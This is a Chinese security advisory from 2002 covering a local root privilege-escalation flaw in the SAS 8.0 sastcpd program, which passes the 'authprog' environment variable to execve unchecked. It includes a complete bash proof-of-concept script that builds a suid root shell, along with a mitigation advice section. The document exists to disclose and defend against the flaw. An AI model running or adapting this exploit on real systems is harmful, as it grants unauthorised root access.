LINKS

 

 

[回首页]

SAS SASTCPD本地以管理员权限执行任意命令漏洞


受影响的系统:
SAS Software Integration Technologies 8.0
SAS Software Base 8.0

不受影响系统:

描述:
--------------------------------------------------------------------------------


BUGTRAQ ID: 3994

SAS Software提供了对数据分析、报告生成、企业级的信息传递的工具和解决方案,软件有Unix、Linux及Windows下的版本。sastcpd是SAS Software软件架构中的任务生成程序。

sastcpd实现上存在问题,本地攻击者可以利用sastcpd以root权限执行任意命令。

sastcpd程序对“authprog”环境变量未做任何检查就传递给execve系统调用执行,因为sastcpd程序是suid root安装的,这样就可能导致以root权限执行攻击者指定的任意命令。


<*来源:rpc (rpc@unholy.net)

链接:http://archives.neohapsis.com/archives/bugtraq/2002-01/0365.html
*>

测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


rpc(rpc@unholy.net) 提供了如下测试程序:

#!/bin/bash
# sastcpd 8.0 'authprog' vulnerability.
# rpc ||
# Thanks sharefuzz!

cat </tmp/hesh.c
int
main(void)
{
setuid(0);
setgid(0);
execl("/bin/ksh", "ksh", (char *)0);
}
EOT

cat </tmp/heh.c
int
main(void)
{
setuid(0);
setgid(0);
system("chown 0:0 /tmp/hesh");
system("chmod 4755 /tmp/hesh");
return 0;
}
EOT

gcc -o /tmp/heh /tmp/heh.c
gcc -o /tmp/hesh /tmp/hesh.c

export authprog=/tmp/heh
/path/to/sas/utilities/bin/sastcpd

sleep 1
rm /tmp/he*.c
rm /tmp/heh
/tmp/hesh


--------------------------------------------------------------------------------
建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时去掉sastcpd程序的suid位,在运行前检查环境是否有恶意的内容。


(,2002-1-30)